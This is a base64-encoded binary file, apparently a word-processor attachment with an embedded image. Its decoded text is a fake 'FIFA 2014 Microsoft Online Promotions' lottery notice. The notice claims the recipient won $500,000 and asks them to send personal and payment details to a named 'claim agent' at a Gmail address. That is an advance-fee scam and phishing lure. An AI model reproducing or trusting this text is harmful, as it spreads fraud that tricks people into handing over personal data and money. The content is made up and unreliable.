AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAAKQAAAAAANwDAAAAAAAA3AMAANwD AAAAAAAA3AMAAAAAAADcAwAAAAAAANwDAAAAAAAA3AMAABQAAAAAAAAAAAAAAPADAAAAAAAAGAwA AAAAAAAYDAAAAAAAABgMAAAAAAAAGAwAACwAAABEDAAAFAAAAPADAAAAAAAADhgAALYAAABkDAAA AAAAAGQMAAAAAAAAZAwAAAAAAABkDAAAAAAAAGQMAAAAAAAA/xAAAAAAAAD/EAAAAAAAAP8QAAAA AAAAjRcAAAIAAACPFwAAAAAAAI8XAAAAAAAAjxcAAAAAAACPFwAAAAAAAI8XAAAAAAAAjxcAACQA AADEGAAAaAIAACwbAAC0AAAAsxcAABUAAAAAAAAAAAAAAAAAAAAAAAAA3AMAAAAAAACxFQAAAAAA AAAAAAAAAAAAAAAAAAAAAAChEAAAXgAAAP8QAAAAAAAAsRUAAAAAAACxFQAAAAAAALMXAAAAAAAA AAAAAAAAAADcAwAAAAAAANwDAAAAAAAAZAwAAAAAAAAAAAAAAAAAAGQMAAA9BAAAyBcAABYAAABR FgAAAAAAAFEWAAAAAAAAURYAAAAAAACxFQAACgAAANwDAAAAAAAAZAwAAAAAAADcAwAAAAAAAGQM AAAAAAAAjRcAAAAAAAAAAAAAAAAAAFEWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAsRUAAAAAAACNFwAAAAAAAAAAAAAAAAAAURYAAAAAAAAAAAAA AAAAAFEWAAAAAAAA3AMAAAAAAADcAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAURYAAAAAAABkDAAAAAAAAFgMAAAMAAAAQCbPQm8Q zwEAAAAAAAAAABgMAAAAAAAAuxUAAAoAAABRFgAAAAAAAAAAAAAAAAAAYRcAACwAAADeFwAAMAAA AA4YAAAAAAAAURYAAAAAAADgGwAAAAAAAMUVAACCAAAA4BsAAAAAAABRFgAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAOAbAAAAAAAAAAAAAAAAAADcAwAAAAAAAFEWAAAQAQAA/xAAAAIBAAABEgAAuAAAAFEW AAAAAAAAuRIAAJQAAABNEwAAZAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/xAA AAAAAAD/EAAAAAAAAP8QAAAAAAAAsxcAAAAAAACzFwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAARxYAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8QAAAA AAAA/xAAAAAAAAD/EAAAAAAAAA4YAAAAAAAAsRUAAAAAAACxFQAAAAAAALEVAAAAAAAAsRUAAAAA AAAAAAAAAAAAAPADAAAAAAAA8AMAAAAAAADwAwAABAUAAPQIAAAkAwAA8AMAAAAAAADwAwAAAAAA APADAAAAAAAA9AgAAAAAAADwAwAAAAAAAPADAAAAAAAA8AMAAAAAAADcAwAAAAAAANwDAAAAAAAA 3AMAAAAAAADcAwAAAAAAANwDAAAAAAAA3AMAAAAAAAD/////AAAAAAIADAEAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgICEJS QVpJTCBUTyBIT1NUIENISUVMIElOIEZJRkEgDUNPTkZFREVSQVRJT05TIENVUCBXQVJNLVVQIA1G SUZBIDIwMTQgTWljcm9zb2Z0IE9ubGluZSBQcm9tb3Rpb25zICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgDU1pY3Jvc29mdCBMb25kb24gKENhcmRpbmFsIFBs YWNlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0xMDAg VmljdG9yaWEgU3RyZWV0IExvbmRvbiBTVzFFIDVKTA1SRUY6IEZJRkEvTU9QLzIwMTMtMjAxNCAN Q29udGFjdCBGSUZBIE1hbmFnZXIgMjAxNCBNcnMuIFJvc2UgU21pdGggDVRlbDogKyA0NCA3OTMg NzQxIDcwODcgb3IgRmF4OiArIDQ0IDcwNCAzMDggMzM1ICANDVRISVMgSVMgVE8gUkVNSU5EIFlP VSBBR0FJTiBUSEFUIFlPVSBIQVZFIFdPTiBBIFRJQ0tFVCBUTyBHTyBUTyBCcmF6aWwgMjAxNCBG SUZBIFdvcmxkIEN1cCwgeW91IGhhdmUgd29uIFNVTSBvZiAoRml2ZSBIdW5kcmVkIFRob3VzYW5k IFVuaXRlZCBTdGF0ZSBEb2xsYXJzKSBieSB5b3VyIEUtbWFpbCBBZGRlcnMuIFdlIHdpc2ggdG8g Y29uZ3JhdHVsYXRlIHlvdSBvbmNlIGFnYWluIG9uIHRoaXMgbm90ZSwgZm9yIGJlaW5nIHRoZSBs ZWdhbCBiZW5lZmljaWFyeS9Vc2VyIG9mIHRoaXMgc2VsZWN0ZWQgZS1tYWlsIGFkZHJlc3MsIFNl bGVjdGVkIGZvciB0aGUgRmlmZSAyMDE0IE1pY3Jvc29mdCBvbmxpbmUgcHJvbW90aW9uYWwgQXdh cmRzLiBUaGVyZSB3YXMgYSBjb21wdXRlciBiYWxsb3QgdGhhdCB3YXMgb3JnYW5pemVkIGJ5IHRo ZSBGSUZBIGFuZCBNSUNST1NPRlQgTkVUV09SSy4NDU1pY3Jvc29mdCBPbmxpbmUgTmV0d29yayBh bmQgd2FzIHNwb25zb3JlZCBieSBGSUZBIGF0IEpvaGFubmVzYnVyZywgU291dGggQWZyaWNhLiBU aGlzIHByb21vdGlvbiB3YXMgaGVsZCBpbiBTb3V0aCBBZnJpY2EgYmVjYXVzZSBvZiB0aGUgc3Vj Y2Vzc2Z1bCBGSUZBIDIwMTAgV09STEQgQ1VQIHRoYXQgd2FzIGhvc3RlZCBpbiBTb3V0aCBBZnJp Y2EgKDIwMTApIGFuZCB0aGUgbWFpbiBhaW0gb2YgdGhpcyBhd2FyZCwgaXMgdG8gcHJvbW90ZSB0 aGUgdXAgY29taW5nIEZJRkEgMjAxNCBXT1JMRCBDVVAgdGhhdCB3aWxsIGJlIGhvc3QgaW4gQnJh emlsLg0NRklWRSAoNSkgZW1haWwgYWRkcmVzc2VzIHdhcyBmaW5hbGx5IHBpY2tlZCBvdXQgZnJv bSBhbW9uZyB0aGUgVG90YWwgKDEsMDAwLDAwMC4wMCkgZW1haWwgYWRkcmVzc2VzLCBhbmQgb3V0 IG9mIHRob3NlICg2NSkgZW1haWwgYWRkcmVzc2VzLCB5b3VyIEVtYWlsIGFkZHJlc3MgaXMgYW1v bmcgdGhlIHdpbm5pbmcgZS1tYWlsIGFkZHJlc3Mgb24gdGhlIHdpbm5pbmcgUG90LCB3aGljaCB3 YXMgYXR0YWNoZWQgRm9yIHlvdXIgU2VjdXJpdHkgY29kZSBGSUZBLysgUVUzNDAwNSBhbmQgVGlj a2V0IFBpbiBDb2RlIE51bWJlcjogMTIxNCB0byBXaW5uaW5nIE51bWJlcnM6IFJFRiBGSUZBL01P UC8yMDEzLTE0IDIxIDMwIDM5IDQwIDQ3IGFuZCBCb251cyBOdW1iZXIgaXMgKDMxKSBhbmQgV2lu bmluZyBBbW91bnQgd29uIGlzIChGaXZlIEh1bmRyZWQgVGhvdXNhbmQgVW5pdGVkIFN0YXRlIERv bGxhcnMpICgkIDUwMCwwMDAuMDApDQ1Ob3cgd2Ugd2FudCB0byBrbm93IGhvdyB5b3Ugd291bGQg bGlrZSB0byByZWNlaXZlIHlvdXIgMjAxNCBCcmF6aWwgRklGQSBBV0FSRCBlaXRoZXIgYnkgQkFO SyBUTyBCQU5LIFRSQU5TRkVSUyBPUiBCWSBDSEVRVUUuICAgDSAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWU9VUiBUSUNLRVQg UElOIENPREUgTk86IFhYIDEyMTQuDQ0gWW91IGFyZSByZXF1ZXN0ZWQgdG8gY29udGFjdCB5b3Vy IENMQUlNIEFHRU5UIGluIFNvdXRoIEFmcmljYSBhbmQgc2VuZCB5b3VyIHBheW1lbnQgZGV0YWls cyB0byBoaW07DShDT05UQUNUIFlPVVIgQ0xBSU0gQUdFTlQpICBOQU1FOiBNUiBKQU1FUyBUQVdB Lg1Db250YWN0IEVtYWlsOiBqYXRhd2ExMkBnbWFpbC5jb20NWW91IGFyZSBhZHZpc2VkIHRvIHNl bmQgdGhlIGZvbGxvd2luZyBpbmZvcm1hdGlvbiB0byB5b3VyIHRvIGhpbSB0byByZWxlYXNlIG9m IHlvdXIgd2lubmluZyBGdW5kIHRvIHlvdS4NKDEpIE5BTUU6Li4uLi4uLi4uLi4uLi4uLi4uLi4u Li4gKDIpIEJPTlVTIE5VTUJFUi4uLi4uLi4uLi4uLi4uLg0oMykgQUdFOi4uLi4uLi4uLi4uLi4u Li4uLi4uLi4uLi4uICAoNCkgV0lOTklORyBOVU1CRVJTOi4uLi4uLiANKDUpIFNFWCA6Li4uLi4u Li4uLi4uLi4uLi4uLi4uLi4uLi4uICg2KSBTRUNVUklUWSBDT0RFOi4uLi4uLi4uLi4uLi4NKDcp IEFERFJFU1M6Li4uLi4uLi4uLi4uLi4uLiAgKDgpIEFNT1VOVCBXT046Li4uLi4uLi4uLi4uLi4u Li4gICAgICAgICAgDSg5KSBFTUFJTCA6Li4uLi4uLi4uLi4uLi4uLi4uLi4uLiAoMTApIFRFTCBB TkQgRkFYIE5VTUJFUjoNKDExKU9DQ1VQQVRJT04gOoWFLigxMikgQ09NUEFOWTouLi4uLi4uLi4u Li4uLi4uLi4uLi4uLi4NKDEzKVNUQVRFL0NJVFk6hYWFLigxNClDT1VOVFJZOi4uLi4uLi4uLi4u Li4uLi4uLi4uLi4uLi4NKDE1KSBOQVRJT05BTElUWTqFLi4gKDE2KVRJQ0tFVCBQSU4gQ09ERTqF hS4uDSgxNylBTU9VTlQgV09OIDouLi4uLi4uKCAxOCkgTUFSSVRBTCBTVEFUVVM6hYUNKDIwKU9u Y2UgeW91ciBhZ2VudCBhY2tub3dsZWRnZXMgcmVjZWlwdCBvZiB0aGlzIHJlcXVpcmVkIGRldGFp bCwgdHJhbnNmZXIgd291bGQgY29tbWVuY2UuIA0NQ29uZ3JhdHVsYXRpb25zIE9uY2UgYWdhaW4h DQEBAQ1Zb3VycyBpbiBzZXJ2aWNlLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgRElSRUNUT1JTIEFORCBDRU8gMjAxNCBPRiBGSUZBIFdP UkxEIENVUCBJTiBCUkFaSUwNTWFuYWdlciBNcnMuIFJvc2UgU21pdGggQ29udGFjdCBFbWFpbCBt cnNyb3Nlc21pdGgyMEBnbWFpbC5jb20NDQ0NAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAABCAAAAggA AAMIAAAgCAAAIQgAADwIAAA9CAAAKgkAADIJAABVCQAAVwkAAFsJAAB1CQAAhgkAALgJAAC5CQAA 6M2yoZOhgqGToXShY1ZFNAAAAAAAAAAAAAAAAAAAAAAAAAAAIBVoEyhRABZotyNqADUIgUIqAUNK FgBhShYAcGgAAAAAACAVaLcjagAWaGQbFwA1CIFCKgtDShQAYUoUAHBoADMAAAAYFWi7A/8AFmhk GxcANQiBQioLcGgAMwAAACAVaLsD/wAWaGQbFwA1CIFCKgtDShYAYUoWAHBoADMAAAAaFmjxJdgA NQiBQioLQ0oUAGFKFABwaAAzAAAAIBVotyNqABZotyNqADUIgUIqC0NKEgBhShIAcGgAMwAAABoW aDBBDwA1CIFCKgtDShQAYUoUAHBoADMAAAAgFWi3I2oAFmi3I2oANQiBQioLQ0oUAGFKFABwaAAz AAAANANqAAAAABVo5k+oABZotyNqADUIgUIqC0NKEgBVCAFhShIAbUgABG5IAARwaAAzAAB1CAEA NANqAAAAABVo5k+oABZoBHPqADUIgUIqC0NKEgBVCAFhShIAbUgABG5IAARwaAAzAAB1CAEALgNq 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 